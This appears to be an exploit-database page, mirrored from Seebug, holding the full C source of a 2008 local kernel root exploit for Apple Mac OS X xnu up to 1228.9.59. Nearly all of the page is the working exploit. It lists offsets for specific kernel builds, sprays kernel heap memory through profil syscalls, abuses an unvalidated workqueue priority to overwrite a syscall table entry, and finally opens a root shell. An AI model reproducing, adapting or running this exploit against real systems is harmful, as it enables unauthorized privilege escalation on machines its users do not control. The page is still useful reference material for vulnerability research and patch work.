Lucene search
K

Apple MACOS X xnu <= 1228.9.59 Local Kernel Root Exploit

🗓️ 09 Jun 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Apple MACOS X xnu <= 1228.9.59 Local Kernel Root Exploit by mu-b - Sat 16 Feb 2008. Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) and Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386). workqueue_additem and workqueue_removeitem do not validate user defineable parameter prio

Code

                                                /* xnu-workq-v2-64.c
 *
 * Copyright (c) 2008 by &lt;[email protected]&gt;
 *
 * Apple MACOS X xnu &lt;= 1228.9.59 local kernel root exploit
 * by mu-b - Sat 16 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 * workqueue_additem and workqueue_removeitem do no validate the
 * user defineable parameter prio.
 *                                    (bsd/kern/pthread_synch.c)
 *
 * Note: this requires quite a large amount of memory for the heap spray!
 *
 * Compile: gcc -Wall -O0 -m64 xnu-workq-v2-64.c -o xnu-workq-v2-64
 *                  (compile 64-bit ONLY)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;fcntl.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;sys/utsname.h&gt;
#include &lt;unistd.h&gt;

/* profil defines     */
#define PROFIL_ITEM_SIZE      64
#define PROFIL_BLK_SIZE       65536
#define PROFIL_BLK_NUM        84

/* workq defines      */
#define WQOPS_QUEUE_ADD       1
#define WORKQUEUE_PRIOS_MIN   -2
#define WORKQUEUE_PRIOS_MAX   2

/* overwrite defines  */
#define WL_LIST_BASE          0x05600000
#define WL_LIST_ACCESS        0x09000060

#define WILIST_PTR            0x10000044
#define WIITEM_PTR            0x18000044

struct workq_item {
  void *_pad[2];
  void *func;
  void *__pad[2];
};

struct workq_ops_args {
  int options;
  void *item;
  int prio;
};

static struct targets {
  const char *name;
  int auth_addr;   /* kauth_cred_get            */
  int sys_addr;    /* sysent, &amp;__mac_getfsstat  */
} targets_t[] = {
  { &quot;root:xnu-1228~1/RELEASE_I386&quot;, 0x0035F492, 0x00503F90 + 4 },
  { &quot;root:xnu-1228.0.2~1/RELEASE_I386&quot;, 0x0035F429, 0x00504F90 + 4 },
  { &quot;root:xnu-1228.3.13~1/RELEASE_I386&quot;, 0x0036094C, 0x00506F90 + 4 },
  { NULL, 0, 0 },
};

void
_dummy (void)
{
  while (1);
}

int
main (int argc, char **argv)
{
  struct workq_ops_args req;
  struct workq_item workq;
  struct utsname p_uname;
  int auth_addr, sys_addr;
  char buf[1024], *ptr;
  int id, i, n;

  printf (&quot;Apple MACOS X xnu &lt;= 1228.3.13 local kernel root/DoS exploit\n&quot;
          &quot;by: &lt;[email protected]&gt;\n&quot;
          &quot;http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n&quot;);

  auth_addr = 0;
  sys_addr = 0;
  uname (&amp;p_uname);

  ptr = strrchr (p_uname.version, ' ') + 1;
  for (i = 0; targets_t[i].name; i++)
    if (strcmp (targets_t[i].name, ptr) == 0)
      {
        auth_addr = targets_t[i].auth_addr;
        sys_addr = targets_t[i].sys_addr;
        break;
      }

  if (targets_t[i].name == NULL)
    {
      fprintf (stderr, &quot;%s: unsupported xnu version found :( [%s]\n&quot;,
               argv[0], ptr);
      exit (EXIT_FAILURE);
    }

  printf (&quot;* opening work queue, pid: %d...&quot;, getpid ());
  if ((n = syscall (SYS_workq_open, NULL)) &lt; 0)
    {
      fprintf (stderr, &quot;\n%s: syscall [SYS_workq_open]: failed: %d\n&quot;,
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf (&quot;done\n\n&quot;);

  printf (&quot;* beginning spraying...\n&quot;);
  printf (&quot;** opening profil, pid: %d...&quot;, getpid ());
  if ((n = syscall (SYS_profil, buf, sizeof buf, 0, 1)) &lt; 0)
    {
      fprintf (stderr, &quot;\n%s: syscall [SYS_profil]: failed: %d\n&quot;,
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf (&quot;done\n&quot;);

  printf (&quot;* filling %d-bytes of kernel memory...\n&quot;, PROFIL_BLK_NUM * PROFIL_BLK_SIZE * PROFIL_ITEM_SIZE);

  printf (&quot;** filling workitemlist pointers...\n&quot;);
  fflush (stdout);

  for (i = 0; i &lt; (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

      arg1 = (void *) ((((long) WILIST_PTR) &lt;&lt; 32) | WILIST_PTR);
      arg2 = (void *) 0xE4E5E6E7E0E1E2E3;
      arg3 = (void *) 0xF4F5F6F7F0F1F2F3;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
      if (n &lt; 0)
        {
          fprintf (stderr, &quot;%s: syscall [SYS_add_profil]: failed: %d\n&quot;,
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf (&quot;** %d-bytes filled\r&quot;,  i * 64);
    }
  printf (&quot;\n** done\n\n&quot;);

  printf (&quot;** filling %d workitem elements...\n&quot;, (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
  fflush (stdout);

  for (i = 0; i &lt; (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

            /*                   0X4(edx)              (edx)  */
            /*                     eax                  ecx   */
      arg1 = (void *) ((((long) sys_addr) &lt;&lt; 32) | WIITEM_PTR);
      arg2 = (void *) 0xDEADBE03DEADBE02;
      arg3 = (void *) 0xDEADBE05DEADBE04;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
      if (n &lt; 0)
        {
          fprintf (stderr, &quot;%s: syscall [SYS_add_profil]: failed: %d\n&quot;,
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf (&quot;** %d-bytes filled\r&quot;,  i * 64);
    }
  printf (&quot;\n** done\n\n&quot;);

  printf (&quot;** filling %d next workitem elements...\n&quot;, (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
  fflush (stdout);

  for (i = 0; i &lt; (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

      arg1 = (void *) 0x0000000004EB9090;
      arg2 = (void *) ((((long) auth_addr) &lt;&lt; 32) | 0xB8E58955);
      arg3 = (void *) 0xC9105089D231D0FF;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0xCCC3);
      if (n &lt; 0)
        {
          fprintf (stderr, &quot;%s: syscall [SYS_add_profil]: failed: %d\n&quot;,
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf (&quot;** %d-bytes filled\r&quot;,  i * 64);
    }
  printf (&quot;\n** done\n* done\n\n&quot;);

  printf (&quot;* adding dummy workq to lists...\n&quot;);
  memset (&amp;workq, 0, sizeof workq);
  workq._pad[0] = buf;
  workq._pad[1] = buf;
  workq.func = &amp;_dummy;
  workq.__pad[0] = buf;
  workq.__pad[1] = buf;

  for (i = WORKQUEUE_PRIOS_MIN; i &lt;= WORKQUEUE_PRIOS_MAX; i++)
    {
      memset (&amp;req, 0, sizeof req);
      req.options = WQOPS_QUEUE_ADD;
      req.item = &amp;workq;
      req.prio = i;

      printf (&quot;** adding dummy worklist item: %d...&quot;, i);
      if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) &lt; 0)
        {
          fprintf (stderr, &quot;\n%s: syscall [SYS_workq_ops]: failed: %d\n&quot;,
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf (&quot;done\n&quot;);
    }
  printf (&quot;* done\n\n&quot;);
  sleep (1);

  memset (&amp;req, 0, sizeof req);
  req.options = WQOPS_QUEUE_ADD;
  req.item = (void *) 0xCAFEBABE;
  req.prio = (WL_LIST_ACCESS - WL_LIST_BASE) / 16;

  printf (&quot;* overwriting @0x%08X with 0x%08X\n&quot;, sys_addr, WIITEM_PTR);
  printf (&quot;** req.prio: 0x%08X, access @~0x%08X [with offset: 0x%08X]\n&quot;,
          req.prio, WL_LIST_ACCESS, WL_LIST_BASE);
  sleep (1);

  if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) &lt; 0)
    {
      fprintf (stderr, &quot;%s: syscall [SYS_workq_ops]: failed: %d\n&quot;,
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf (&quot;* done\n\n&quot;);

  printf (&quot;* jumping....&quot;);
  sleep (1);

  if ((n = syscall (SYS___mac_getfsstat, 0, 0, 0, 0, 0)) == 0)
    {
      fprintf (stderr, &quot;\n%s: syscall [SYS___mac_getfsstat]: failed: %d\n&quot;,
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf (&quot;done\n\n&quot;);

  id = getuid ();
  printf (&quot;* getuid(): %d\n&quot;, id);
  if (id == 0)
    {
      printf (&quot;+Wh00t\n\n&quot;);

      /* exec shell, for some reason execve doesn't work!?$! */
      system (&quot;/bin/bash&quot;);
    }
  else
    fprintf (stderr, &quot;%s: failed to obtain root :(\n&quot;, argv[0]);

  return (EXIT_SUCCESS);
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation